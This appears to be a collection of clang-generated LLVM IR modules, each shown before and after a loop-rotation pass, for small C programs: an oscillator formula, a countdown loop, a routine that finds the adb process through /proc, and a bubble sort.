; ModuleID = '/tmp/tmp06v7mjn4.c' source_filename = "/tmp/tmp06v7mjn4.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local double @HO_10(double noundef %0, double noundef %1) #0 { %3 = alloca double, align 8 %4 = alloca double, align 8 %5 = alloca double, align 8 store double %0, ptr %3, align 8 store double %1, ptr %4, align 8 %6 = call double @sqrt(double noundef 7.000000e+00) #3 %7 = load double, ptr %3, align 8 %8 = call double @pow(double noundef %7, double noundef 2.500000e-01) #3 %9 = fmul double %6, %8 %10 = load double, ptr %3, align 8 %11 = call double @pow(double noundef %10, double noundef 5.000000e+00) #3 %12 = fmul double 3.200000e+01, %11 %13 = load double, ptr %4, align 8 %14 = call double @pow(double noundef %13, double noundef 1.000000e+01) #3 %15 = load double, ptr %3, align 8 %16 = call double @pow(double noundef %15, double noundef 4.000000e+00) #3 %17 = fmul double 7.200000e+02, %16 %18 = load double, ptr %4, align 8 %19 = call double @pow(double noundef %18, double noundef 8.000000e+00) #3 %20 = fmul double %17, %19 %21 = fneg double %20 %22 = call double @llvm.fmuladd.f64(double %12, double %14, double %21) %23 = load double, ptr %3, align 8 %24 = call double @pow(double noundef %23, double noundef 3.000000e+00) #3 %25 = fmul double 5.040000e+03, %24 %26 = load double, ptr %4, align 8 %27 = call double @pow(double noundef %26, double noundef 6.000000e+00) #3 %28 = call double @llvm.fmuladd.f64(double %25, double %27, double %22) %29 = load double, ptr %3, align 8 %30 = fmul double 1.260000e+04, %29 %31 = load double, ptr %3, align 8 %32 = fmul double %30, %31 %33 = load double, ptr %4, align 8 %34 = call double @pow(double noundef %33, double noundef 4.000000e+00) #3 %35 = fneg double %32 %36 = call double @llvm.fmuladd.f64(double %35, double %34, double %28) %37 = load double, ptr %3, align 8 %38 = fmul double 9.450000e+03, %37 %39 = load double, ptr %4, align 8 %40 = fmul double %38, %39 %41 = load double, ptr %4, align 8 %42 = call double @llvm.fmuladd.f64(double %40, double %41, double %36) %43 = fsub double %42, 9.450000e+02 %44 = fmul double %9, %43 %45 = load double, ptr %3, align 8 %46 = fneg double %45 %47 = load double, ptr %4, align 8 %48 = fmul double %46, %47 %49 = load double, ptr %4, align 8 %50 = fmul double %48, %49 %51 = fdiv double %50, 2.000000e+00 %52 = call double @exp(double noundef %51) #3 %53 = fmul double %44, %52 %54 = call double @pow(double noundef 0x400921FB54524550, double noundef -2.500000e-01) #3 %55 = fmul double %53, %54 %56 = fdiv double %55, 5.040000e+03 store double %56, ptr %5, align 8 %57 = load double, ptr %5, align 8 ret double %57 } ; Function Attrs: nounwind declare double @sqrt(double noundef) #1 ; Function Attrs: nounwind declare double @pow(double noundef, double noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #2 ; Function Attrs: nounwind declare double @exp(double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp06v7mjn4.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local double @HO_10(double noundef %0, double noundef %1) #0 { %3 = alloca double, align 8 %4 = alloca double, align 8 %5 = alloca double, align 8 store double %0, ptr %3, align 8 store double %1, ptr %4, align 8 %6 = call double @sqrt(double noundef 7.000000e+00) #3 %7 = load double, ptr %3, align 8 %8 = call double @pow(double noundef %7, double noundef 2.500000e-01) #3 %9 = fmul double %6, %8 %10 = load double, ptr %3, align 8 %11 = call double @pow(double noundef %10, double noundef 5.000000e+00) #3 %12 = fmul double 3.200000e+01, %11 %13 = load double, ptr %4, align 8 %14 = call double @pow(double noundef %13, double noundef 1.000000e+01) #3 %15 = load double, ptr %3, align 8 %16 = call double @pow(double noundef %15, double noundef 4.000000e+00) #3 %17 = fmul double 7.200000e+02, %16 %18 = load double, ptr %4, align 8 %19 = call double @pow(double noundef %18, double noundef 8.000000e+00) #3 %20 = fmul double %17, %19 %21 = fneg double %20 %22 = call double @llvm.fmuladd.f64(double %12, double %14, double %21) %23 = load double, ptr %3, align 8 %24 = call double @pow(double noundef %23, double noundef 3.000000e+00) #3 %25 = fmul double 5.040000e+03, %24 %26 = load double, ptr %4, align 8 %27 = call double @pow(double noundef %26, double noundef 6.000000e+00) #3 %28 = call double @llvm.fmuladd.f64(double %25, double %27, double %22) %29 = load double, ptr %3, align 8 %30 = fmul double 1.260000e+04, %29 %31 = load double, ptr %3, align 8 %32 = fmul double %30, %31 %33 = load double, ptr %4, align 8 %34 = call double @pow(double noundef %33, double noundef 4.000000e+00) #3 %35 = fneg double %32 %36 = call double @llvm.fmuladd.f64(double %35, double %34, double %28) %37 = load double, ptr %3, align 8 %38 = fmul double 9.450000e+03, %37 %39 = load double, ptr %4, align 8 %40 = fmul double %38, %39 %41 = load double, ptr %4, align 8 %42 = call double @llvm.fmuladd.f64(double %40, double %41, double %36) %43 = fsub double %42, 9.450000e+02 %44 = fmul double %9, %43 %45 = load double, ptr %3, align 8 %46 = fneg double %45 %47 = load double, ptr %4, align 8 %48 = fmul double %46, %47 %49 = load double, ptr %4, align 8 %50 = fmul double %48, %49 %51 = fdiv double %50, 2.000000e+00 %52 = call double @exp(double noundef %51) #3 %53 = fmul double %44, %52 %54 = call double @pow(double noundef 0x400921FB54524550, double noundef -2.500000e-01) #3 %55 = fmul double %53, %54 %56 = fdiv double %55, 5.040000e+03 store double %56, ptr %5, align 8 %57 = load double, ptr %5, align 8 ret double %57 } ; Function Attrs: nounwind declare double @sqrt(double noundef) #1 ; Function Attrs: nounwind declare double @pow(double noundef, double noundef) #1 ; Function Attrs: nocallback nofree nosync nounwind speculatable willreturn memory(none) declare double @llvm.fmuladd.f64(double, double, double) #2 ; Function Attrs: nounwind declare double @exp(double noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { nounwind "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nocallback nofree nosync nounwind speculatable willreturn memory(none) } attributes #3 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpwohzwq53.c' source_filename = "/tmp/tmpwohzwq53.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpwohzwq53.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"}
; ModuleID = '/tmp/tmpr_3jg00h.c' source_filename = "/tmp/tmpr_3jg00h.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 5000, ptr %2, align 4 br label %3 3: ; preds = %9, %0 %4 = load i32, ptr %2, align 4 %5 = icmp sge i32 %4, 0 br i1 %5, label %6, label %12 6: ; preds = %3 %7 = load i32, ptr %2, align 4 %8 = call i32 @printf(ptr noundef @.str, i32 noundef %7) br label %9 9: ; preds = %6 %10 = load i32, ptr %2, align 4 %11 = add nsw i32 %10, -1 store i32 %11, ptr %2, align 4 br label %3, !llvm.loop !6 12: ; preds = %3 ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpr_3jg00h.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 store i32 0, ptr %1, align 4 store i32 5000, ptr %2, align 4 %3 = load i32, ptr %2, align 4 %4 = icmp sge i32 %3, 0 br i1 %4, label %.lr.ph, label %13 .lr.ph: ; preds = %0 br label %5 5: ; preds = %.lr.ph, %8 %6 = load i32, ptr %2, align 4 %7 = call i32 @printf(ptr noundef @.str, i32 noundef %6) br label %8 8: ; preds = %5 %9 = load i32, ptr %2, align 4 %10 = add nsw i32 %9, -1 store i32 %10, ptr %2, align 4 %11 = load i32, ptr %2, align 4 %12 = icmp sge i32 %11, 0 br i1 %12, label %5, label %._crit_edge, !llvm.loop !6 ._crit_edge: ; preds = %8 br label %13 13: ; preds = %._crit_edge, %0 ret i32 0 } declare i32 @printf(ptr noundef, i32 noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmp6wpp1sur.c' source_filename = "/tmp/tmp6wpp1sur.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [17 x i8] c"/proc/%d/cmdline\00", align 1 @O_RDONLY = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [10 x i8] c"/sbin/adb\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @find_adb() #0 { %1 = alloca [256 x i8], align 16 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 store i32 0, ptr %2, align 4 store i32 0, ptr %3, align 4 store i32 0, ptr %4, align 4 store i32 0, ptr %2, align 4 br label %5 5: ; preds = %31, %0 %6 = load i32, ptr %2, align 4 %7 = icmp slt i32 %6, 32000 br i1 %7, label %8, label %34 8: ; preds = %5 %9 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %10 = load i32, ptr %2, align 4 %11 = call i32 @sprintf(ptr noundef %9, ptr noundef @.str, i32 noundef %10) %12 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %13 = load i32, ptr @O_RDONLY, align 4 %14 = call i32 @open(ptr noundef %12, i32 noundef %13) store i32 %14, ptr %3, align 4 %15 = icmp slt i32 %14, 0 br i1 %15, label %16, label %17 16: ; preds = %8 br label %31 17: ; preds = %8 %18 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %19 = call i32 @memset(ptr noundef %18, i32 noundef 0, i32 noundef 256) %20 = load i32, ptr %3, align 4 %21 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %22 = call i32 @read(i32 noundef %20, ptr noundef %21, i32 noundef 255) %23 = load i32, ptr %3, align 4 %24 = call i32 @close(i32 noundef %23) %25 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %26 = call i64 @strstr(ptr noundef %25, ptr noundef @.str.1) %27 = icmp ne i64 %26, 0 br i1 %27, label %28, label %30 28: ; preds = %17 %29 = load i32, ptr %2, align 4 store i32 %29, ptr %4, align 4 br label %34 30: ; preds = %17 br label %31 31: ; preds = %30, %16 %32 = load i32, ptr %2, align 4 %33 = add nsw i32 %32, 1 store i32 %33, ptr %2, align 4 br label %5, !llvm.loop !6 34: ; preds = %28, %5 %35 = load i32, ptr %4, align 4 ret i32 %35 } declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @open(ptr noundef, i32 noundef) #1 declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1 declare i32 @close(i32 noundef) #1 declare i64 @strstr(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '<stdin>' source_filename = "/tmp/tmp6wpp1sur.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [17 x i8] c"/proc/%d/cmdline\00", align 1 @O_RDONLY = dso_local global i32 0, align 4 @.str.1 = private unnamed_addr constant [10 x i8] c"/sbin/adb\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @find_adb() #0 { %1 = alloca [256 x i8], align 16 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 store i32 0, ptr %2, align 4 store i32 0, ptr %3, align 4 store i32 0, ptr %4, align 4 store i32 0, ptr %2, align 4 %5 = load i32, ptr %2, align 4 %6 = icmp slt i32 %5, 32000 br i1 %6, label %.lr.ph, label %.loopexit .lr.ph: ; preds = %0 br label %7 7: ; preds = %.lr.ph, %30 %8 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %9 = load i32, ptr %2, align 4 %10 = call i32 @sprintf(ptr noundef %8, ptr noundef @.str, i32 noundef %9) %11 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %12 = load i32, ptr @O_RDONLY, align 4 %13 = call i32 @open(ptr noundef %11, i32 noundef %12) store i32 %13, ptr %3, align 4 %14 = icmp slt i32 %13, 0 br i1 %14, label %15, label %16 15: ; preds = %7 br label %30 16: ; preds = %7 %17 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %18 = call i32 @memset(ptr noundef %17, i32 noundef 0, i32 noundef 256) %19 = load i32, ptr %3, align 4 %20 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %21 = call i32 @read(i32 noundef %19, ptr noundef %20, i32 noundef 255) %22 = load i32, ptr %3, align 4 %23 = call i32 @close(i32 noundef %22) %24 = getelementptr inbounds [256 x i8], ptr %1, i64 0, i64 0 %25 = call i64 @strstr(ptr noundef %24, ptr noundef @.str.1) %26 = icmp ne i64 %25, 0 br i1 %26, label %27, label %29 27: ; preds = %16 %28 = load i32, ptr %2, align 4 store i32 %28, ptr %4, align 4 br label %35 29: ; preds = %16 br label %30 30: ; preds = %29, %15 %31 = load i32, ptr %2, align 4 %32 = add nsw i32 %31, 1 store i32 %32, ptr %2, align 4 %33 = load i32, ptr %2, align 4 %34 = icmp slt i32 %33, 32000 br i1 %34, label %7, label %..loopexit_crit_edge, !llvm.loop !6 ..loopexit_crit_edge: ; preds = %30 br label %.loopexit .loopexit: ; preds = %..loopexit_crit_edge, %0 br label %35 35: ; preds = %.loopexit, %27 %36 = load i32, ptr %4, align 4 ret i32 %36 } declare i32 @sprintf(ptr noundef, ptr noundef, i32 noundef) #1 declare i32 @open(ptr noundef, i32 noundef) #1 declare i32 @memset(ptr noundef, i32 noundef, i32 noundef) #1 declare i32 @read(i32 noundef, ptr noundef, i32 noundef) #1 declare i32 @close(i32 noundef) #1 declare i64 @strstr(ptr noundef, ptr noundef) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"}
; ModuleID = '/tmp/tmpms8melsj.c' source_filename = "/tmp/tmpms8melsj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [51 x i8] c"\0A*************************************************\00", align 1 @.str.1 = private unnamed_addr constant [39 x i8] c"\0A*\09PROGRAM TO IMPLEMENT BUBBLE SORT\09*\0A\00", align 1 @.str.2 = private unnamed_addr constant [50 x i8] c"*************************************************\00", align 1 @.str.3 = private unnamed_addr constant [23 x i8] c"\0AEnter no of elements\0A\00", align 1 @.str.4 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.5 = private unnamed_addr constant [21 x i8] c"\0AEnter the elements\0A\00", align 1 @.str.6 = private unnamed_addr constant [23 x i8] c"\0AIteration i=%d, j=%d\0A\00", align 1 @.str.7 = private unnamed_addr constant [4 x i8] c"%d\09\00", align 1 @.str.8 = private unnamed_addr constant [20 x i8] c"\0APass %d completed\0A\00", align 1 @.str.9 = private unnamed_addr constant [23 x i8] c"\0AThe Sorted array is \0A\00", align 1 @.str.10 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1 ; Function Attrs: noinline nounwind sspstrong uwtable define dso_local i32 @main() #0 { %1 = alloca i32, align 4 %2 = alloca i32, align 4 %3 = alloca i32, align 4 %4 = alloca i32, align 4 %5 = alloca i32, align 4 %6 = alloca [10 x i32], align 16 %7 = alloca i32, align 4 store i32 0, ptr %1, align 4 %8 = call i32 (ptr, ...) @printf(ptr noundef @.str) %9 = call i32 (ptr, ...) @printf(ptr noundef @.str.1) %10 = call i32 (ptr, ...) @printf(ptr noundef @.str.2) %11 = call i32 (ptr, ...) @printf(ptr noundef @.str.3) %12 = call i32 @scanf(ptr noundef @.str.4, ptr noundef %2) %13 = call i32 (ptr, ...) @printf(ptr noundef @.str.5) store i32 0, ptr %3, align 4 br label %14 14: ; preds = %23, %0 %15 = load i32, ptr %3, align 4 %16 = load i32, ptr %2, align 4 %17 = icmp slt i32 %15, %16 br i1 %17, label %18, label %26 18: ; preds = %14 %19 = load i32, ptr %3, align 4 %20 = sext i32 %19 to i64 %21 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %20 %22 = call i32 @scanf(ptr noundef @.str.4, ptr noundef %21) br label %23 23: ; preds = %18 %24 = load i32, ptr %3, align 4 %25 = add nsw i32 %24, 1 store i32 %25, ptr %3, align 4 br label %14, !llvm.loop !6 26: ; preds = %14 store i32 0, ptr %3, align 4 br label %27 27: ; preds = %95, %26 %28 = load i32, ptr %3, align 4 %29 = load i32, ptr %2, align 4 %30 = sub nsw i32 %29, 1 %31 = icmp slt i32 %28, %30 br i1 %31, label %32, label %98 32: ; preds = %27 store i32 0, ptr %4, align 4 br label %33 33: ; preds = %88, %32 %34 = load i32, ptr %4, align 4 %35 = load i32, ptr %2, align 4 %36 = load i32, ptr %3, align 4 %37 = sub nsw i32 %35, %36 %38 = sub nsw i32 %37, 1 %39 = icmp slt i32 %34, %38 br i1 %39, label %40, label %91 40: ; preds = %33 %41 = load i32, ptr %4, align 4 %42 = sext i32 %41 to i64 %43 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %42 %44 = load i32, ptr %43, align 4 %45 = load i32, ptr %4, align 4 %46 = add nsw i32 %45, 1 %47 = sext i32 %46 to i64 %48 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %47 %49 = load i32, ptr %48, align 4 %50 = icmp sgt i32 %44, %49 br i1 %50, label %51, label %69 51: ; preds = %40 %52 = load i32, ptr %4, align 4 %53 = sext i32 %52 to i64 %54 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %53 %55 = load i32, ptr %54, align 4 store i32 %55, ptr %7, align 4 %56 = load i32, ptr %4, align 4 %57 = add nsw i32 %56, 1 %58 = sext i32 %57 to i64 %59 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %58 %60 = load i32, ptr %59, align 4 %61 = load i32, ptr %4, align 4 %62 = sext i32 %61 to i64 %63 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %62 store i32 %60, ptr %63, align 4 %64 = load i32, ptr %7, align 4 %65 = load i32, ptr %4, align 4 %66 = add nsw i32 %65, 1 %67 = sext i32 %66 to i64 %68 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %67 store i32 %64, ptr %68, align 4 br label %69 69: ; preds = %51, %40 %70 = load i32, ptr %3, align 4 %71 = load i32, ptr %4, align 4 %72 = call i32 (ptr, ...) @printf(ptr noundef @.str.6, i32 noundef %70, i32 noundef %71) store i32 0, ptr %5, align 4 br label %73 73: ; preds = %83, %69 %74 = load i32, ptr %5, align 4 %75 = load i32, ptr %2, align 4 %76 = icmp slt i32 %74, %75 br i1 %76, label %77, label %86 77: ; preds = %73 %78 = load i32, ptr %5, align 4 %79 = sext i32 %78 to i64 %80 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %79 %81 = load i32, ptr %80, align 4 %82 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i32 noundef %81) br label %83 83: ; preds = %77 %84 = load i32, ptr %5, align 4 %85 = add nsw i32 %84, 1 store i32 %85, ptr %5, align 4 br label %73, !llvm.loop !8 86: ; preds = %73 %87 = call i32 (...) @getchar() br label %88 88: ; preds = %86 %89 = load i32, ptr %4, align 4 %90 = add nsw i32 %89, 1 store i32 %90, ptr %4, align 4 br label %33, !llvm.loop !9 91: ; preds = %33 %92 = load i32, ptr %3, align 4 %93 = add nsw i32 %92, 1 %94 = call i32 (ptr, ...) @printf(ptr noundef @.str.8, i32 noundef %93) br label %95 95: ; preds = %91 %96 = load i32, ptr %3, align 4 %97 = add nsw i32 %96, 1 store i32 %97, ptr %3, align 4 br label %27, !llvm.loop !10 98: ; preds = %27 %99 = call i32 (ptr, ...) @printf(ptr noundef @.str.9) store i32 0, ptr %3, align 4 br label %100 100: ; preds = %110, %98 %101 = load i32, ptr %3, align 4 %102 = load i32, ptr %2, align 4 %103 = icmp slt i32 %101, %102 br i1 %103, label %104, label %113 104: ; preds = %100 %105 = load i32, ptr %3, align 4 %106 = sext i32 %105 to i64 %107 = getelementptr inbounds [10 x i32], ptr %6, i64 0, i64 %106 %108 = load i32, ptr %107, align 4 %109 = call i32 (ptr, ...) @printf(ptr noundef @.str.7, i32 noundef %108) br label %110 110: ; preds = %104 %111 = load i32, ptr %3, align 4 %112 = add nsw i32 %111, 1 store i32 %112, ptr %3, align 4 br label %100, !llvm.loop !11 113: ; preds = %100 %114 = call i32 (ptr, ...) @printf(ptr noundef @.str.10) ret i32 0 } declare i32 @printf(ptr noundef, ...) #1 declare i32 @scanf(ptr noundef, ptr noundef) #1 declare i32 @getchar(...) #1 attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{i32 7, !"frame-pointer", i32 2} !5 = !{!"clang version 17.0.6"} !6 = distinct !{!6, !7} !7 = !{!"llvm.loop.mustprogress"} !8 = distinct !{!8, !7} !9 = distinct !{!9, !7} !10 = distinct !{!10, !7} !11 = distinct !{!11, !7}
; ModuleID = '<stdin>' source_filename = "/tmp/tmpms8melsj.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128" target triple = "x86_64-pc-linux-gnu" @.str = private unnamed_addr constant [51 x i8] c"\0A*************************************************\00", align 1 @.str.1 = private unnamed_addr constant [39 x i8] c"\0A*\09PROGRAM TO IMPLEMENT BUBBLE SORT\09*\0A\00", align 1 @.str.2 = private unnamed_addr constant [50 x i8] c"*************************************************\00", align 1 @.str.3 = private unnamed_addr constant [23 x i8] c"\0AEnter no of elements\0A\00", align 1 @.str.4 = private unnamed_addr constant [3 x i8] c"%d\00", align 1 @.str.5 = private unnamed_addr constant [21 x i8] c"\0AEnter the elements\0A\00", align 1 @.str.6 = private unnamed_addr constant [23 x i8] c"\0AIteration i=%d, j=%d\0A\00", align 1 @.str.7 = private unnamed_addr constant [4 x i8] c"%d\09\00", align 1 @.str.8 = private unnamed_addr constant [20 x i8] c"\0APass %d completed\0A\00", align 1 @.str.9 